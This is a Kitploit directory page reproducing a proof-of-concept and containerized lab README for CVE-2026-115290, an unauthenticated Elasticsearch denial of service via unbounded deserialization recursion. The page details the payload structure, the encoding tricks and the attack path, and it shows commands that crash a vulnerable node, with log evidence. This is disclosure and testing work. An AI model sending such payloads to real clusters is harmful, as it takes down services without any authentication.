Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-115290 — PoC and containerized A/B lab for CVE-2026-115290, an unauthenticated Elasticsearch remote cluster server DoS via unbounded deserialization recursion (CWE-674). | Kitploit
Tools/GitHubGitHub/googlesky/cve-2026-115290
Vulnerability AnalysisExploitationWeb Application ExploitationPapers & ResearchLabs & Practice
GitHubgooglesky/cve-2026-115290

CVE-2026-115290

PoC and containerized A/B lab for CVE-2026-115290, an unauthenticated Elasticsearch remote cluster server DoS via unbounded deserialization recursion (CWE-674).

View Repository
8h 1m agoNot yet reviewed
Share

CVE-2026-115290: Elasticsearch unauthenticated DoS via the remote cluster server interface

Root cause: Uncontrolled Recursion (CWE-674). The node deserializes attacker-supplied bytes before it checks the API key: one unauthenticated TCP request to the remote cluster server port is enough to blow a worker stack with a StackOverflowError and take the node down. Repeat against every reachable node.

CVECVE-2026-115290
AdvisoryElastic ESA-2026-201 (2026-11-03)
SeverityCVSS 3.1 7.5 High, vector AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
AffectedElasticsearch 8.10.0 to 8.19.23, 9.0.0 to 9.4.8, 9.5.0 to 9.5.5, with remote_cluster_server.enabled: true
Fixed8.19.24 / 9.4.9 / 9.5.6
Fix commit0b1b229c8c ("Verify API key before decoding cross-cluster info", elastic/elasticsearch #161492)
PrereqsEnterprise / trial license (feature advanced-remote-cluster-security), interface enabled

1. Root cause

CrossClusterAccessAuthenticationService.authenticate() (≤ 8.19.23) decoded the sender-controlled subject-info header as early as possible so audit events could include the API key id:

// 8.19.23, vulnerable build
public static CrossClusterAccessHeaders readFromContext(final ThreadContext ctx) {
    final String credentialsHeader = ctx.getHeader(CROSS_CLUSTER_ACCESS_CREDENTIALS_HEADER_KEY);
    parseCredentialsHeader(credentialsHeader).close();                       // (1) format-check only
    return new CrossClusterAccessHeaders(credentialsHeader,
        CrossClusterAccessSubjectInfo.readFromContext(ctx));                // (2) DECODES attacker bytes, pre-auth
}

The decode is pure deserialization with no depth limits:

public static CrossClusterAccessSubjectInfo decode(final String header) {
    byte[] bytes = Base64.getDecoder().decode(header);
    StreamInput in = StreamInput.wrap(bytes);
    TransportVersion version = TransportVersion.readVersion(in);   // attacker-chosen
    in.setTransportVersion(version);
    Authentication authentication = new Authentication(in);        // -> readMetadata -> readGenericValue
    ...
}

StreamInput.readGenericValue() recurses without any depth bound on nested maps (type tag 10). Around 200k nested single-entry maps are enough to blow the transport thread's stack inside decode().

Fixed (8.19.24): subject info stays encoded until the API key is authenticated, so unauthenticated requests never reach the deserializer:

// 8.19.24, CrossClusterAccessRequestHeaders keeps the header as a String
final String subjectInfoHeader = requiredHeader(ctx, CROSS_CLUSTER_ACCESS_SUBJECT_INFO_HEADER_KEY);
...
// only after successful API-key authentication:
final CrossClusterAccessSubjectInfo subjectInfo = requestHeaders.decodeSubjectInfo().cleanAndValidate();

2. Attack path

attacker ──TCP :9443──> remote cluster server port (profile _remote_cluster)
  ES transport frame: action "indices:data/read/search" (any registered action)
  ThreadContext headers:
    _cross_cluster_access_credentials  = "ApiKey <base64(id:key)>"   (format-valid, key unknown)
    _cross_cluster_access_subject_info = base64(vInt TransportVersion + Authentication{ metadata =
        { "poc_nested": {a: {a: {a: ... 200k deep ... }}} } } + roleDescriptorsBytesList[])

InboundHandler.handleRequest -> RequestHandlerRegistry (action exists) ->
ProfileSecuredRequestHandler.messageReceived (profile _remote_cluster) ->
CrossClusterAccessServerTransportFilter.authenticate -> license check -> header presence check ->
CrossClusterAccessAuthenticationService.authenticate -> CrossClusterAccessHeaders.readFromContext ->
CrossClusterAccessSubjectInfo.decode -> StreamInput.readGenericValue (unbounded) -> StackOverflowError
  -> netty exceptionCaught -> ExceptionsHelper.maybeDieOnAnotherThread ->
  ElasticsearchUncaughtExceptionHandler: "fatal error in thread [...], exiting" -> Runtime.halt(126)

Things that make the attack easy:

  • the handshake is not required, version compatibility is a static check (TransportVersion.isCompatible);
  • the subject-info bytes carry their own TransportVersion (read with readVInt), so the deserialization branches can be steered independently of the message header version;
  • the credentials header only has to parse (ApiKey <base64(id:key)>), the key itself never has to authenticate because the crash happens before that runs;
  • readGenericValue type tags: 0 string, 10 map (recursive), 0xFF null; strings are vInt charCount + utf8; ints are 7-bit LEB128 vInts.

3. Repo layout

poc/poc.py                 PoC client (stdlib-only): check | exploit | dump
lab/run-lab.sh             podman lab: vulnerable 8.19.23 (:9200/:9443) + fixed 8.19.24 (:9201/:9444)
lab/es-*/elasticsearch.yml node configs (RCS enabled, TLS off, trial license, security on)
lab/stop-lab.sh
evidence/                  captured logs + PoC transcripts (not published)

4. Reproduce (100% containerized, podman)

podman pull docker.elastic.co/elasticsearch/elasticsearch:8.19.23 \
            docker.elastic.co/elasticsearch/elasticsearch:8.19.24
./lab/run-lab.sh            # both containers capped at --cpus 2 --memory 4g

# 1) unauthenticated handshake probe on the vulnerable node's RCS port
python3 poc/poc.py check   --host 127.0.0.1 --port 9443

# 2) kill the vulnerable node
python3 poc/poc.py exploit --host 127.0.0.1 --port 9443
#   connection drops, node exits with "fatal error in thread [...], exiting", halt(126)

# 3) A/B: identical payload against the fixed build, node survives and rejects the auth
python3 poc/poc.py exploit --host 127.0.0.1 --port 9444

./lab/stop-lab.sh

TLS deployments: add --tls to any mode.

Unit-level reproduction (optional): the payload alone can be fed to the real decoder:

CrossClusterAccessSubjectInfo.decode(header) -> StackOverflowError   # verified against 8.19.23 jars

5. Evidence (captured in evidence/, reproduced in this lab)

Vulnerable node (8.19.23, es-vuln). One exploit request, unauthenticated:

[*] server closed the connection after 0.40s (closed=True, got 0 bytes)
[+] NODE TERMINATED: remote cluster server port 9443 refuses connections -- unauthenticated DoS reproduced

podman ps -a:  es-vuln  Exited (126)          # Runtime.halt(126) == uncaught StackOverflowError

elasticsearch.log (see evidence/es-vuln-fatal.log):

ERROR "fatal error java.lang.StackOverflowError"  ... Netty4MessageInboundHandler.exceptionCaught ->
      ExceptionsHelper.maybeDieOnAnotherThread -> elasticsearch-error-rethrower
ERROR "fatal error in thread [elasticsearch-error-rethrower], exiting"
java.lang.StackOverflowError
  at StreamInput.readGenericValue(StreamInput.java:859)
  at StreamInput.readMap(StreamInput.java:751)
  at StreamInput.readMap(StreamInput.java:736)
  at StreamInput.readGenericValue(StreamInput.java:872)   <- recursion loop, ~4 frames / nesting level
  ...

Fixed node (8.19.24, es-fixed), identical payload:

[*] response frame: status=0x03 (error response)
[*] response text: "unable to find apikey with id cve-2026-115290"
      at CrossClusterAccessAuthenticationService.lambda$tryAuthenticate$3   <- auth ran, decode never did
[!] node is STILL ALIVE after the payload
podman ps -a:  es-fixed  Up (serving)

PoC gotchas baked into the tooling

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    927
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    555
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    360
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    357
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    324
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    289

Explore all tools

Browse our collection of tools

View all tools →